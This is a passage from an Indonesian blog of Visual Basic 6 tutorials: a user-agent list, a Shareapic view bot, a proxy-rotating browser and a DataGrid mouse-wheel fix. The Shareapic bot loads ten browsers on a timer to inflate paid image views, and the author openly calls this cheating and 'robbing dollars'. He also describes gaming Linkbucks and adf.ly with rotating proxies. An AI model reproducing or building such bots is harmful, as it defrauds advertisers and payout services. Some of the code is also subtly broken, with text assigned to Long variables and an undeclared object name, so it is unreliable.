Untuk mempermudah coding dan mudah untu bergonta - ganti User Agent, atur coding agar simple dengan mendeklarasikan sebuah nilai.

Contoh :

Private Sub CMDGO_Click()

Dim URL As Long, AGEN As Long

URL = CBOURL.Text

AGEN = CBOAGEN.Text

WebBrowser1.Navigate URL, , , , AGEN

End Sub

Berikut daftar User Agent yang bisa sobat masukkan dalam control combobox CBOURL

User Agen

Agen
User-Agent:Avant Browser/1.2.789rel1 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre
User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre
User-Agent:Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )
User-Agent:Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)
User-Agent:Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a
User-Agent:Mozilla/4.8 [en] (Windows NT 5.1; U)
User-Agent:Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C145
User-Agent:Opera/7.50 (Windows XP; U)
User-Agent:Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1)
User-Agent:Opera/7.51 (Windows NT 5.1; U) [en]
User-Agent:Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )
User-Agent:Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413
User-Agent:Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.3.0.0.0
User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)
User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
User-Agent:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
User-Agent:Opera/9.25 (Windows NT 6.0; U; en)
User-Agent:Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8
User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3
User-Agent:Mozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0+
User-Agent:Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.15
User-Agent:Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1
User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112941
User-Agent:Opera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1
User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) lt-GtkLauncher
User-Agent:Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.10.2
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
User-Agent:Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00

Nah sekarang silakan coba dan selamat berkarya

11.51 | 0 komentar | Read More

Membuat Bot Shareapic Menggunakan VB6

Bagi anda yang belum tahu tentang Shareapic silakan baca artikel Cara Mencurangi Shareapic. Dalam tutorial kali ini kita akan membuat sendiri bot Shareapic yang tujuannya untuk melihat gambar di Shareapic secara continued. Sehingga dollar yang didapatkan akan lebih besar. Tool yang nantinya akan kita compile bisa anda pergunakan mandiri tanpa bantuan browser. OK..silakan buka Visual Basic 6 sobat...

Prinsipnya sangat sederhana. Anda hanya membuat sebuah Web Browser yang diberi timer otomatis. Sehingga pada durasi tertentu Web Browser akan terload sendiri secara otomatis. Tutorial berikut hanya bersifat basic saja. Jika anda sudah mahir anda bisa mengembangkannya sendiri sehingga menjadi lebih canggih lagi.

Langsung saja buka Visual Basic 6 anda

1. Buat sebuah project baru

2. Buatlah sebuah form, masukkan sebuah kontrol Microsoft Tabbed Dialog Control 6.0 (SP4) dan Microsoft Internet Control. Buatlah Tab sebanyak 10 dan isi masing - masing dengan sebuah Web Browser. Jadi anda nantinya akan membuka secara otomatis WebBrowser sebanyak 10. Agar dollar yang anda dapatkan lebih besar hasilnya.

3. Jangan lupa buat pula 2 buah tombol Command Button dan 1 Timer. Buat 10 textbox yang nantinya akan menampung URL Shareapic gambar anda.

4. Masukkan script berikut

Dim Timeleft As Integer
Dim Mins, Secs As String

Private Sub CMDMULAI_Click()
If Check3.Value = 0 Then
SAMBUNG
CMDMULAI.Enabled = False
CMDSTOP.Enabled = True
Else
SAMBUNG_WAKTU
CMDMULAI.Enabled = False
CMDSTOP.Enabled = True
End If
End Sub

Sub SAMBUNG()
WebBrowser1(0).Navigate (TXTTARGET(0).Text)
WebBrowser1(1).Navigate (TXTTARGET(1).Text)
WebBrowser1(2).Navigate (TXTTARGET(2).Text)
WebBrowser1(3).Navigate (TXTTARGET(3).Text)
WebBrowser1(4).Navigate (TXTTARGET(4).Text)
WebBrowser1(5).Navigate (TXTTARGET(5).Text)
WebBrowser1(6).Navigate (TXTTARGET(6).Text)
WebBrowser1(7).Navigate (TXTTARGET(7).Text)
WebBrowser1(8).Navigate (TXTTARGET(8).Text)
WebBrowser1(9).Navigate (TXTTARGET(9).Text)

End Sub

Sub SAMBUNG_WAKTU()
LBLCOUNT.Caption = "0"
Timeleft = 0
Timer1.Enabled = True
WebBrowser1(0).Navigate (TXTTARGET(0).Text)
WebBrowser1(1).Navigate (TXTTARGET(1).Text)
WebBrowser1(2).Navigate (TXTTARGET(2).Text)
WebBrowser1(3).Navigate (TXTTARGET(3).Text)
WebBrowser1(4).Navigate (TXTTARGET(4).Text)
WebBrowser1(5).Navigate (TXTTARGET(5).Text)
WebBrowser1(6).Navigate (TXTTARGET(6).Text)
WebBrowser1(7).Navigate (TXTTARGET(7).Text)
WebBrowser1(8).Navigate (TXTTARGET(8).Text)
WebBrowser1(9).Navigate (TXTTARGET(9).Text)
End Sub

Private Sub CMDSTOP_Click()
LBLCOUNT.Caption = ""
Timer1.Enabled = False
WebBrowser1(0).Stop
WebBrowser1(1).Stop
WebBrowser1(2).Stop
WebBrowser1(3).Stop
WebBrowser1(4).Stop
WebBrowser1(5).Stop
WebBrowser1(6).Stop
WebBrowser1(7).Stop
WebBrowser1(8).Stop
WebBrowser1(9).Stop
CMDMULAI.Enabled = True
CMDSTOP.Enabled = False
End Sub

Private Sub LBLCOUNT_Change()
If LBLCOUNT.Caption = TXTTIMER.Text Then
SAMBUNG_WAKTU
End If
End Sub

Private Sub Timer1_Timer()
Timeleft = Timeleft - 1
Secs = "0" - Timeleft
LBLCOUNT.Caption = Secs
End Sub

Private Sub TXTTIMER_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
     And KeyAscii <= Asc("9") & Chr(13) _
     Or KeyAscii = vbKeyBack _
     Or KeyAscii = vbKeyDelete _
     Or KeyAscii = vbKeySpace) Then
        Beep
        KeyAscii = 0
   End If
End Sub

Private Sub WebBrowser1_NavigateError(index As Integer, ByVal pDisp As Object, URL As Variant, Frame As Variant, StatusCode As Variant, Cancel As Boolean)
WebBrowser1(0).Silent = True
WebBrowser1(1).Silent = True
WebBrowser1(2).Silent = True
WebBrowser1(3).Silent = True
WebBrowser1(4).Silent = True
WebBrowser1(5).Silent = True
WebBrowser1(6).Silent = True
WebBrowser1(7).Silent = True
WebBrowser1(8).Silent = True
WebBrowser1(9).Silent = True
End Sub

5. Compile project anda menjadi file exe

6. Untuk menjalankannya agar hasil maksimal, anda harus mematikan beberapa fitur di Internet Explorer agar program bekerja dengan lancar.

7. Buka Internet Explorer anda, masuk ke menu Tools > Internet Options. Pilih Tab Security kemudian klik tombol Custom level. Matikan Scripting dengan men-Disable Active Scripting.

8. Kemudian masuk ke Tab Privacy. Dalam Setting geser slider keatas sehingga anda memilih Block All Cookies.

9. Langkah terakhir matikan proses load gambar melalui Tab Advanced . Dalam Multimedia matikan tanda centang Show Pictures.

CATATAN :

Langkah - langkah seting Internet Explorer diatas harus dijalankan. Tujuannya adalah untuk memperingan proses load WebBrowser. Cookies harus anda disable agar program berjalan dengan sempurna.

Nah...sekarang coba anda jalankan program anda. Masukkan 10 URL gambar Shareapic anda. Beri timer sesuka hati anda sesuai dengan kecepatan internet anda. Karena program ini tanpa mematikan fungsi multitaskting, anda bisa menjalankan 2 atau mungkin lebih program yang sudah anda buat.

Dengan koneksi internet dan kemampuan komputer yang saya miliki, saya bisa menjalankan 4 program ini sekaligus. Yah...agar dollar cepat mengalir. Tinggal anda kembangkan sendiri kemampuan program anda. Sambil menjalankan program ini anda bisa membuka account Shareapic anda. Sehingga anda bisa memantau pendapatan dollar Shareapic sobat.

Selamat merampok dollar aja...dech..Jangan lupa bagi - bagi....yaaaa....hehehehehe ....!!!

05.07 | 0 komentar | Read More

Membuat Web Browser Proxy Dengan VB6

Terkadang kita ingin browsing ke internet dengan aman. Tanpa meninggalkan jejak ataupun berselancar dengan anonim. Kita membutuhkan sebuah web browser yang mampu berpindah - pindah IP adrress dengan cepat. Memang sih...saat ini sudah banyak browser yang menyediakan fasilitas ini. Akan tetapi sangat ribet dan butuh pengaturan yang lumayan menjengkelkan. Pada tutorial kali ini akan kita buat web browser sendiri yang mampu memilih IP Address dengan cepat.

Jika anda tertarik silakan buka program visual basic anda dan ikuti langkah - langkah berikut

1. Buat sebuah project baru. Masukkan sebuah textbox,windows common dialog dan kontrol WebBrowser. Dan masukkan pula sebuah tombol Command Button untuk proses koneksi.

2. Buat sebuah modul dan masukkan coding berikut

Option Explicit

Private Type INTERNET_PER_CONN_OPTION

dwOption As Long
dwValue1 As Long
dwValue2 As Long

End Type

Private Type INTERNET_PER_CONN_OPTION_LIST
dwSize As Long
pszConnection As Long
dwOptionCount As Long
dwOptionError As Long
pOptions As Long

End Type

Private Const INTERNET_PER_CONN_FLAGS As Long = 1
Private Const INTERNET_PER_CONN_PROXY_SERVER As Long = 2
Private Const INTERNET_PER_CONN_PROXY_BYPASS As Long = 3
Private Const PROXY_TYPE_DIRECT As Long = &H1
Private Const PROXY_TYPE_PROXY As Long = &H2
Private Const INTERNET_OPTION_REFRESH As Long = 37
Private Const INTERNET_OPTION_SETTINGS_CHANGED As Long = 39
Private Const INTERNET_OPTION_PER_CONNECTION_OPTION As Long = 75

Private Declare Function InternetSetOption Lib "wininet.dll" Alias "InternetSetOptionA" ( _
ByVal hInternet As Long, ByVal dwOption As Long, _
lpBuffer As Any, ByVal dwBufferLength As Long) As Long

'Untuk mengatur Proxy

Public Function SetConnectionOptions(ByVal conn_name As String, ByVal proxy_full_addr As String) As Boolean

Dim list As INTERNET_PER_CONN_OPTION_LIST
Dim bReturn As Boolean
Dim dwBufSize As Long
Dim options(0 To 2) As INTERNET_PER_CONN_OPTION
Dim abConnName() As Byte
Dim abProxyServer() As Byte
Dim abProxyBypass() As Byte
dwBufSize = Len(list)
list.dwSize = Len(list)
abConnName() = StrConv(conn_name & vbNullChar, vbFromUnicode)
list.pszConnection = VarPtr(abConnName(0))
list.dwOptionCount = 3
options(0).dwOption = INTERNET_PER_CONN_FLAGS
options(0).dwValue1 = PROXY_TYPE_DIRECT Or PROXY_TYPE_PROXY
options(1).dwOption = INTERNET_PER_CONN_PROXY_SERVER
abProxyServer() = StrConv(proxy_full_addr & vbNullChar, vbFromUnicode)
options(1).dwValue1 = VarPtr(abProxyServer(0)) '//"http://proxy:80"
options(2).dwOption = INTERNET_PER_CONN_PROXY_BYPASS
abProxyBypass() = StrConv("local" & vbNullChar, vbFromUnicode)
options(2).dwValue1 = VarPtr(abProxyBypass(0))
list.pOptions = VarPtr(options(0))

If (0& = list.pOptions) Then
Debug.Print "Failed to allocate memory in SetConnectionOptions()"
SetConnectionOptions = 0
End If
bReturn = InternetSetOption(0, INTERNET_OPTION_PER_CONNECTION_OPTION, list, dwBufSize)
Erase options
Erase abConnName
Erase abProxyServer
Erase abProxyBypass
dwBufSize = 0
list.dwOptionCount = 0
list.dwSize = 0
list.pOptions = 0
list.pszConnection = 0
Call InternetSetOption(0, INTERNET_OPTION_SETTINGS_CHANGED, ByVal 0&, 0)
Call InternetSetOption(0, INTERNET_OPTION_REFRESH, ByVal 0&, 0)
SetConnectionOptions = bReturn

End Function

'Matikan Proxy

Public Function DisableConnectionProxy(ByVal conn_name As String) As Boolean
Dim list As INTERNET_PER_CONN_OPTION_LIST
Dim bReturn As Boolean
Dim dwBufSize As Long
Dim options(0) As INTERNET_PER_CONN_OPTION
Dim abConnName() As Byte
dwBufSize = Len(list)
list.dwSize = Len(list)
abConnName() = StrConv(conn_name & vbNullChar, vbFromUnicode)
list.pszConnection = VarPtr(abConnName(0))
list.dwOptionCount = 1
options(0).dwOption = INTERNET_PER_CONN_FLAGS
options(0).dwValue1 = PROXY_TYPE_DIRECT
list.pOptions = VarPtr(options(0))
If (0 = list.pOptions) Then
Debug.Print "Failed to allocate memory in DisableConnectionProxy()"
DisableConnectionProxy = 0
End If

bReturn = InternetSetOption(0, INTERNET_OPTION_PER_CONNECTION_OPTION, list, dwBufSize)
Erase options
Erase abConnName
dwBufSize = 0
list.dwOptionCount = 0
list.dwSize = 0
list.pOptions = 0
list.pszConnection = 0
Call InternetSetOption(0, INTERNET_OPTION_SETTINGS_CHANGED, ByVal 0&, 0)
Call InternetSetOption(0, INTERNET_OPTION_REFRESH, ByVal 0&, 0)
DisableConnectionProxy = bReturn
End Function

3. Pada form silakan masukkan coding berikut

Dim URL As String
Dim conn_name As String, proxy_full_addr As String

Private Sub CMDPROXY_Click()
C.Filter = "File format TXT (*.txt) | *.txt"
C.DialogTitle = "Pilih file TXT"
C.ShowOpen
fileName = C.fileName
List1.Clear

On Error Resume Next
Open fileName For Input As #1
    Do While Not EOF(1)
        Line Input #1, listItem
        If Not (listItem = "") Then
            List1.AddItem listItem
        End If
    Loop
Close #1
End Sub

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Select Case KeyCode
Case vbKeySpace
StylerButton3_Click
End Select
End Sub

Private Sub Form_Unload(Cancel As Integer)
conn_name = TXTKONEKSI.Text
Call DisableConnectionProxy(conn_name)
Unload Me
End Sub

Private Sub WriteToRegistry(strFolder As String, strString, Optional strRegType As String = "REG_SZ")
    On Error Resume Next
    Dim b As Object
    Set b = CreateObject("wscript.shell")
    b.RegWrite strFolder, strString, strRegType
End Sub

Private Sub StylerButton1_Click()
SAMBUNG
End Sub

Private Sub StylerButton4_Click()
Timer3.Enabled = False
WebBrowser1.Stop
LBLCOUNT.Caption = "0"
conn_name = TXTKONEKSI.Text
Call DisableConnectionProxy(conn_name)
End Sub

Sub SAMBUNG()
WebBrowser1.Stop
WriteToRegistry "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable", 1, "REG_DWORD" 'aktifkan proxies
Dim itemnumber As Integer
itemnumber = 0
URL = TXTALAMAT.Text
conn_name = TXTKONEKSI.Text
proxy_full_addr = (List1.list(itemnumber))
Call SetConnectionOptions(conn_name, proxy_full_addr)
List1.RemoveItem (0)
Label7.Caption = List1.ListCount
LBLPERKIRAAN.Caption = List1.ListCount * TXTDETIK / 60 & " Menit"
LBLPROXY.Caption = (List1.list(itemnumber))
WebBrowser1.Navigate (URL)
Timer2.Enabled = True
End Sub

Untuk selanjutnya silakan anda coba dan kembangkan sendiri. Masih banyak kemampuan yang bisa digali dalam pembuatan Web Browser.

Project yang sedang saya kembangkan adalah Web Browser Proxy yang memakai timer. Sehingga bisa mengakali account di Linkbucks.com dan adf.ly. Lumayanlah...dapat dollar tanpa perlu kerja keras. Serta dipersenjatai pula dengan fitur Checking Proxy. Sehingga kita bisa memilih IP Proxy yang masih aktif.

06.03 | 2 komentar | Read More

Scroll Mouse Datagrid Di VB6

Datagrid adalah kontrol yang umum digunakan dalam menampung isi semua database.Kecepatannya dalam memasukkan data dari database tergolong cepat. Dikarenakan minimnya fitur dalam Datagrid di VB6. Salah satunya anda tidak bisa memakai scroll mouse tengah dalam memilih data dalam tabel. Tentunya hal ini akan membuat kurang nyaman dalam berinteraksi dengan datagrid tersebut. Dengan sedikit coding ternyata kita bisa mengaktifkan scroll mouse tengah dengan mengaktifkan fungsi API Windows.

Coding ini bisa anda rubah sendiri, seperti menyesuaikan kecepatan scroll serta tingkat sensitifitas. OK langsung saja. Buat sebuah project pada Visual Basic 6 anda.

Buat sebuah module, dan masukkan coding berikut :

'Batas module---------------------------------------------------
Public Const MK_RBUTTON = &H2
Public Const MK_MBUTTON = &H10
Public Const MK_SHIFT = &H4
Public Const GWL_WNDPROC = -4
Public Const WM_MOUSEWHEEL = &H20A
Public LocalHwnd As Long
Public LocalPrevWndProc As Long
Public MyControl As Object
Public Declare Function CallWindowProc Lib "user32.dll" Alias _
"CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, _
ByVal Msg As Long, _
ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SetWindowLong Lib "user32.dll" Alias _
"SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong _
As Long) As Long

Public Function WindowProc(ByVal Lwnd As Long, ByVal Lmsg As Long, ByVal _
wParam As Long, ByVal lParam As Long) As Long
Dim MouseKeys As Long
Dim Rotation As Long
Dim Xpos As Long
Dim Ypos As Long
If Lmsg = WM_MOUSEWHEEL Then
MouseKeys = wParam And 65535
Rotation = wParam / 65536
Xpos = lParam And 65535
Ypos = lParam / 65536
If Rotation = -120 Then
MyProperty.Scroll 0, 1      'atur tingkat sensifitas disini
Else
MyProperty.Scroll 0, -1   'atur tingkat sensifitas disini
End If
End If
WindowProc = CallWindowProc(LocalPrevWndProc, Lwnd, Lmsg, wParam, lParam)
End Function

Public Sub WheelHook(PassedControl As Object)
On Error Resume Next
Set MyControl = PassedControl
LocalHwnd = PassedControl.hwnd
LocalPrevWndProc = SetWindowLong(LocalHwnd, GWL_WNDPROC, AddressOf WindowProc)
End Sub

Sub WheelUnHook()
Dim WorkFlag As Long
On Error Resume Next
WorkFlag = SetWindowLong(LocalHwnd, GWL_WNDPROC, LocalPrevWndProc)
Set MyControl = Nothing
End Sub
'Akhir batas module ------------------------------------------------------

Lalu pada event Load form bersangkutan buat coding berikut

Private Sub Form_Load()

Set MyProperty = DGDATA 'nama datagrid yang inigin di scroll dengan mouse
WheelHook DGDATA

End Sub

Nah...sekarang coba anda scroll datagrid memakai scroll mouse tengah. Mudah bukan..!!

23.53 | 1 komentar | Read More